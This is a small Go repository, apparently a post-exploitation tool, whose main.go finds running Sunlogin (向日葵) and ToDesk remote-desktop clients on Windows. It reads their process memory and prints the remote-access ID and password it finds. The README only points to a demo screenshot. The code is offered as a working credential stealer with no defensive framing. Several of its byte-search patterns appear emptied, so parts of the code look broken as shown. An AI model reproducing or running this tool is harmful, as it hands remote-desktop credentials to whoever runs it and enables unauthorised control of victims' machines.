├── 2.png ├── pass.png ├── README.md ├── go.mod ├── go.sum └── main.go /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flydyyg/readTdose-xiangrikui/HEAD/2.png -------------------------------------------------------------------------------- /pass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flydyyg/readTdose-xiangrikui/HEAD/pass.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 如图: 2 | ![演示](https://github.com/flydyyg/readTdose-xiangrikui/blob/a549724365dae50a4e6c1284b729c645a5a8a160/2.png?raw=true) 3 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module xrk 2 | 3 | go 1.22.2 4 | 5 | require ( 6 | github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d // indirect 7 | github.com/go-ole/go-ole v1.2.4 // indirect 8 | github.com/shirou/gopsutil/v3 v3.20.10 // indirect 9 | golang.org/x/sys v0.25.0 // indirect 10 | ) 11 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d h1:G0m3OIz70MZUWq3EgK3CesDbo8upS2Vm9/P3FtgI+Jk= 2 | github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/go-ole/go-ole v1.2.4 h1:nNBDSCOigTSiarFpYE9J/KtEA1IOW4CNeqT9TQDqCxI= 5 | github.com/go-ole/go-ole v1.2.4/go.mod h1:XCwSNxSkXRo4vlyPy93sltvi/qJq0jqQhjqQNIwKuxM= 6 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 7 | github.com/shirou/gopsutil v2.18.10/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= 8 | github.com/shirou/gopsutil/v3 v3.20.10 h1:7zomV9HJv6UGk225YtvEa5+camNLpbua3MAz/GqiVJY= 9 | github.com/shirou/gopsutil/v3 v3.20.10/go.mod h1:igHnfak0qnw1biGeI2qKQvu0ZkwvEkUcCLlYhZzdr/4= 10 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 11 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 12 | golang.org/x/sys v0.0.0-20201024232916-9f70ab9862d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 13 | golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34= 14 | golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 15 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 16 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 17 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "regexp" 6 | "strconv" 7 | "strings" 8 | "time" 9 | "unsafe" 10 | 11 | "github.com/shirou/gopsutil/v3/process" 12 | "golang.org/x/sys/windows" 13 | ) 14 | 15 | // 定义常量 16 | const ( 17 | PROCESS_VM_READ = 0x0010 18 | PROCESS_QUERY_INFORMATION = 0x0400 19 | ) 20 | 21 | // 打开进程以获取句柄 22 | func openProcess(pid int32) (windows.Handle, error) { 23 | handle, err := windows.OpenProcess(PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, false, uint32(pid)) 24 | if err != nil { 25 | // return 0, fmt.Errorf("failed to open process: %v", err) 26 | } 27 | return handle, nil 28 | } 29 | 30 | // 读取进程内存 31 | func readMemory(handle windows.Handle, address uintptr, size uint32) ([]byte, error) { 32 | buffer := make([]byte, size) 33 | var bytesRead uintptr 34 | err := windows.ReadProcessMemory(handle, address, &buffer[0], uintptr(size), &bytesRead) 35 | if err != nil { 36 | // return nil, fmt.Errorf("failed to read memory: %v", err) 37 | } 38 | return buffer, nil 39 | } 40 | 41 | // 搜索进程内存中的字节模式 42 | func searchMemory(handle windows.Handle, pattern []byte) ([]uintptr, error) { 43 | var results []uintptr 44 | var memoryInfo windows.MemoryBasicInformation 45 | 46 | address := uintptr(0) 47 | for { 48 | err := windows.VirtualQueryEx(handle, address, &memoryInfo, unsafe.Sizeof(memoryInfo)) 49 | if err != nil || memoryInfo.RegionSize == 0 { 50 | break 51 | } 52 | 53 | if memoryInfo.State == windows.MEM_COMMIT && (memoryInfo.Protect&windows.PAGE_READWRITE) != 0 { 54 | data, err := readMemory(handle, memoryInfo.BaseAddress, uint32(memoryInfo.RegionSize)) 55 | if err == nil { 56 | for i := 0; i < len(data)-len(pattern); i++ { 57 | if matchPattern(data[i:i+len(pattern)], pattern) { 58 | results = append(results, memoryInfo.BaseAddress+uintptr(i)) 59 | } 60 | } 61 | } 62 | } 63 | address = memoryInfo.BaseAddress + uintptr(memoryInfo.RegionSize) 64 | } 65 | 66 | return results, nil 67 | } 68 | 69 | // 检查字节序列是否匹配 70 | func matchPattern(data, pattern []byte) bool { 71 | for i := range pattern { 72 | if data[i] != pattern[i] { 73 | return false 74 | } 75 | } 76 | return true 77 | } 78 | 79 | // 提取两个字符串之间的文本 80 | func extractBetween(value, startDelim, endDelim string) string { 81 | start := strings.Index(value, startDelim) 82 | if start == -1 { 83 | return "" 84 | } 85 | start += len(startDelim) 86 | 87 | end := strings.Index(value[start:], endDelim) 88 | if end == -1 { 89 | return "" 90 | } 91 | 92 | return value[start : start+end] 93 | } 94 | 95 | // 检查字符串是否为数字 96 | func isNumeric(s string) bool { 97 | _, err := strconv.Atoi(strings.TrimSpace(s)) 98 | return err == nil 99 | } 100 | 101 | // 根据进程名称检查进程是否存在并获取所有匹配的 PID 102 | func getPIDsByName(name string) ([]int32, error) { 103 | processes, err := process.Processes() 104 | if err != nil { 105 | return nil, fmt.Errorf("failed to get processes: %v", err) 106 | } 107 | 108 | var pids []int32 109 | for _, proc := range processes { 110 | procName, err := proc.Name() 111 | if err != nil { 112 | continue 113 | } 114 | 115 | if strings.EqualFold(procName, name) { 116 | pids = append(pids, proc.Pid) 117 | } 118 | } 119 | 120 | if len(pids) == 0 { 121 | return nil, nil 122 | } 123 | 124 | return pids, nil 125 | } 126 | 127 | // 检查进程是否存在 128 | func isProcessExist(name string) (bool, []int32) { 129 | pids, err := getPIDsByName(name) 130 | if err != nil { 131 | // log.Printf("Error while checking processes: %v\n", err) 132 | return false, nil 133 | } 134 | 135 | if len(pids) == 0 { 136 | //fmt.Printf("Process '%s' does not exist.\n", name) 137 | return false, nil 138 | } 139 | 140 | ///fmt.Printf("Process '%s' exists with PIDs: %v\n", name, pids) 141 | return true, pids 142 | } 143 | 144 | // 提取日期并格式化为所需的字符串 145 | func getCurrentDateString() string { 146 | return time.Now().Format("20060102") 147 | } 148 | 149 | // 扫描向日葵进程 150 | func xiangrikui(IDArray []int32) { 151 | for _, PID := range IDArray { 152 | handle, err := openProcess(PID) 153 | if err != nil { 154 | fmt.Println(err) 155 | continue 156 | } 157 | defer windows.CloseHandle(handle) 158 | 159 | // 搜索 "" 模式的字节 160 | pattern := []byte("") 161 | IDs, err := searchMemory(handle, pattern) 162 | if err != nil { 163 | fmt.Println("搜索失败:", err) 164 | continue 165 | } 166 | 167 | if len(IDs) >= 17 { 168 | for _, id := range IDs { 169 | data, err := readMemory(handle, id, 900) 170 | if err != nil { 171 | fmt.Printf("读取内存失败: %v\n", err) 172 | continue 173 | } 174 | 175 | remoteCode := extractBetween(string(data), ">", "") 176 | if isNumeric(strings.ReplaceAll(remoteCode, " ", "")) { 177 | fmt.Println("id:", remoteCode) 178 | break 179 | } 180 | } 181 | } 182 | 183 | passwordPattern := []byte("") 184 | passwordArray, err := searchMemory(handle, passwordPattern) 185 | if err != nil { 186 | fmt.Println("搜索密码失败:", err) 187 | continue 188 | } 189 | 190 | if len(passwordArray) >= 9 { 191 | for _, addr := range passwordArray { 192 | data, err := readMemory(handle, addr, 900) 193 | if err != nil { 194 | fmt.Printf("读取内存失败: %v\n", err) 195 | continue 196 | } 197 | 198 | password := extractBetween(string(data), ">", "") 199 | if len(password) == 6 { 200 | fmt.Println("password:", password) 201 | break 202 | } 203 | } 204 | } 205 | 206 | windows.CloseHandle(handle) 207 | } 208 | } 209 | 210 | // 扫描ToDesk进程 211 | func todesk(IDArray []int32) { 212 | currentDate := getCurrentDateString() 213 | pattern := []byte(currentDate) 214 | 215 | for _, PID := range IDArray { 216 | handle, err := openProcess(PID) 217 | if err != nil { 218 | fmt.Println(err) 219 | continue 220 | } 221 | defer windows.CloseHandle(handle) 222 | 223 | IDs, err := searchMemory(handle, pattern) 224 | if err != nil { 225 | fmt.Println("搜索失败:", err) 226 | continue 227 | } 228 | 229 | for _, id := range IDs { 230 | startAddress := id - 250 231 | if startAddress < 0 { 232 | startAddress = 0 233 | } 234 | data, err := readMemory(handle, startAddress, 300) 235 | if err != nil { 236 | fmt.Printf("读取内存失败: %v\n", err) 237 | continue 238 | } 239 | 240 | dataStr := string(data) 241 | 242 | numberPattern := regexp.MustCompile(`\b\d{9}\b`) 243 | number := numberPattern.FindString(dataStr) 244 | if number != "" { 245 | //fmt.Printf("在地址 %x 的上下文中找到的第一个9位纯数字: %s\n", id, number) 246 | fmt.Println("id", number) 247 | } 248 | 249 | alphanumPattern := regexp.MustCompile(`\b[a-z0-9]{8}\b`) 250 | alphanum := alphanumPattern.FindString(dataStr) 251 | if alphanum != "" { 252 | //fmt.Printf("在地址 %x 的上下文中找到的第一个8位小写字母+数字: %s\n", id, alphanum) 253 | fmt.Println("password", alphanum) 254 | break 255 | } 256 | } 257 | 258 | windows.CloseHandle(handle) 259 | } 260 | } 261 | 262 | func main() { 263 | // 检查向日葵进程 264 | exists, pids := isProcessExist("SunloginClient.exe") 265 | if exists { 266 | //fmt.Printf("向日葵存在: %v\n", pids) 267 | fmt.Println("向日葵存在:") 268 | xiangrikui(pids) 269 | } 270 | 271 | // 检查ToDesk进程 272 | exists, pids = isProcessExist("ToDesk.exe") 273 | if exists { 274 | //fmt.Printf("ToDesk存在: %v\n", pids) 275 | fmt.Println("todesk存在:") 276 | todesk(pids) 277 | } 278 | } 279 | --------------------------------------------------------------------------------